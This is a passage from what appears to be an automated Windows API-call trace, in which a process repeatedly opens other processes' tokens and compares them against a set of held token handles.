bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x16bcc0*=0x19c) returned 1 [0196.571] CloseHandle (hObject=0x16c) returned 1 [0196.572] CloseHandle (hObject=0x168) returned 1 [0196.572] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x6ec) returned 0x168 [0196.572] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.572] GetCurrentProcess () returned 0xffffffffffffffff [0196.572] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x170, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.572] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x174, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.572] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x178, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.572] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x17c, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.572] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x180, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.572] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x184, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.572] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x188, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.572] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x18c, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.572] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x190, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.572] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x194, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.572] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x198, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.572] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10fa04, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa04, ReturnLength=0x10fa58) returned 1 [0196.572] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10fa00, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa00, ReturnLength=0x10fa58) returned 1 [0196.572] CloseHandle (hObject=0x16c) returned 1 [0196.573] CloseHandle (hObject=0x168) returned 1 [0196.573] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xc0) returned 0x168 [0196.573] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.573] GetCurrentProcess () returned 0xffffffffffffffff [0196.573] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x170, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.573] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x174, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.573] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x178, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.573] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x17c, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.573] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x180, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.573] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x184, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.573] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x188, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.573] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x18c, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.573] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x190, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.573] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x194, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.573] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x198, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.573] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10fa04, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa04, ReturnLength=0x10fa58) returned 1 [0196.573] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10fa00, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa00, ReturnLength=0x10fa58) returned 1 [0196.573] CloseHandle (hObject=0x16c) returned 1 [0196.573] CloseHandle (hObject=0x168) returned 1 [0196.573] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x32c) returned 0x168 [0196.573] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.574] GetCurrentProcess () returned 0xffffffffffffffff [0196.574] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x170, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.574] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x174, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.574] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x178, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.574] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x17c, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.574] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x180, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.574] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x184, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.574] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x188, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.575] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x18c, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.575] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x190, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.575] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x194, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.575] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x198, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.575] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10fa04, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa04, ReturnLength=0x10fa58) returned 1 [0196.575] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10fa00, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa00, ReturnLength=0x10fa58) returned 1 [0196.575] CloseHandle (hObject=0x16c) returned 1 [0196.575] CloseHandle (hObject=0x168) returned 1 [0196.575] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x730) returned 0x168 [0196.575] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.575] GetCurrentProcess () returned 0xffffffffffffffff [0196.575] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x170, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.575] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x174, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.575] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x178, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.576] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x17c, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.576] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x180, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.576] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x184, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.576] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x188, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.576] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x18c, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.576] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x190, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.576] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x194, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.576] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x198, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.576] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10fa04, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa04, ReturnLength=0x10fa58) returned 1 [0196.576] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10fa00, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa00, ReturnLength=0x10fa58) returned 1 [0196.576] CloseHandle (hObject=0x16c) returned 1 [0196.576] CloseHandle (hObject=0x168) returned 1 [0196.576] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x168 [0196.576] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.576] GetCurrentProcess () returned 0xffffffffffffffff [0196.576] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x170, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.576] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x174, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.576] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x178, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.576] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x17c, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.577] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x180, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.577] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x184, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.577] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x188, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.577] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x18c, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.577] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x190, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.577] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x194, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.577] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x198, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.577] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10fa04, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa04, ReturnLength=0x10fa58) returned 1 [0196.577] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10fa00, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa00, ReturnLength=0x10fa58) returned 1 [0196.577] CloseHandle (hObject=0x16c) returned 1 [0196.577] CloseHandle (hObject=0x168) returned 1 [0196.577] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x780) returned 0x168 [0196.577] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.577] GetCurrentProcess () returned 0xffffffffffffffff [0196.577] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x170, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.577] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x174, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.577] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x178, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.578] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x17c, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.578] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x180, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.578] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x184, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.578] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x188, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.578] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x18c, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.578] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x190, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.578] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x194, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.578] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x198, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.578] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10fa04, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa04, ReturnLength=0x10fa58) returned 1 [0196.578] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10fa00, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa00, ReturnLength=0x10fa58) returned 1 [0196.579] CloseHandle (hObject=0x16c) returned 1 [0196.579] CloseHandle (hObject=0x168) returned 1 [0196.579] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x1c0) returned 0x168 [0196.579] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.579] GetCurrentProcess () returned 0xffffffffffffffff [0196.579] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x170, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.579] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x174, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.579] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x178, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.579] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x17c, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.579] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x180, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.579] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x184, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.579] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x188, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.579] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x18c, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.579] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x190, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.579] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x194, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.579] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x198, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.579] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10fa04, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa04, ReturnLength=0x10fa58) returned 1 [0196.579] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10fa00, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa00, ReturnLength=0x10fa58) returned 1 [0196.579] CloseHandle (hObject=0x16c) returned 1 [0196.580] CloseHandle (hObject=0x168) returned 1 [0196.580] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x244) returned 0x168 [0196.580] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.580] GetCurrentProcess () returned 0xffffffffffffffff [0196.580] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x170, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.580] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x174, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.580] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x178, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.580] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x17c, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.580] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x180, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.580] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x184, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.580] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x188, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.580] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x18c, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.580] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x190, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.580] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x194, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.580] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x198, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.580] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10fa04, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa04, ReturnLength=0x10fa58) returned 1 [0196.580] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10fa00, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa00, ReturnLength=0x10fa58) returned 1 [0196.580] CloseHandle (hObject=0x16c) returned 1 [0196.581] CloseHandle (hObject=0x168) returned 1 [0196.581] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7ac) returned 0x168 [0196.581] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.581] GetCurrentProcess () returned 0xffffffffffffffff [0196.581] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x170, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.581] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x174, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.581] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x178, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.581] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x17c, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.581] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x180, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.581] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x184, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.581] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x188, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.581] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x18c, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.581] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x190, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.581] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x194, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.581] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x198, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.585] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10fa04, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa04, ReturnLength=0x10fa58) returned 1 [0196.585] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10fa00, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa00, ReturnLength=0x10fa58) returned 1 [0196.586] CloseHandle (hObject=0x16c) returned 1 [0196.586] CloseHandle (hObject=0x168) returned 1 [0196.586] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x15c) returned 0x168 [0196.586] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.586] GetCurrentProcess () returned 0xffffffffffffffff [0196.586] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x170, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.588] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x174, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.588] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x178, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.588] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x17c, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.589] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x180, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.589] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x184, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.589] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x188, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.589] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x18c, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.589] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x190, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.589] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x194, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.589] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x198, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.589] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10fa04, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa04, ReturnLength=0x10fa58) returned 1 [0196.589] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10fa00, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa00, ReturnLength=0x10fa58) returned 1 [0196.589] CloseHandle (hObject=0x16c) returned 1 [0196.589] CloseHandle (hObject=0x168) returned 1 [0196.589] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7a0) returned 0x168 [0196.589] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.589] GetCurrentProcess () returned 0xffffffffffffffff [0196.589] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x170, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.589] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x174, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.589] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x178, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.589] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x17c, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.589] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x180, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.589] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x184, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.589] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x188, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.589] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x18c, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.589] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x190, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.590] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x194, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.590] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x198, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.590] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10fa04, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa04, ReturnLength=0x10fa58) returned 1 [0196.590] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10fa00, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa00, ReturnLength=0x10fa58) returned 1 [0196.590] CloseHandle (hObject=0x16c) returned 1 [0196.590] CloseHandle (hObject=0x168) returned 1 [0196.590] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5dc) returned 0x168 [0196.590] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.590] GetCurrentProcess () returned 0xffffffffffffffff [0196.590] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x170, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.590] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x174, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.590] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x178, Equal=0x10fa50 | out: Equal=0x10fa50) 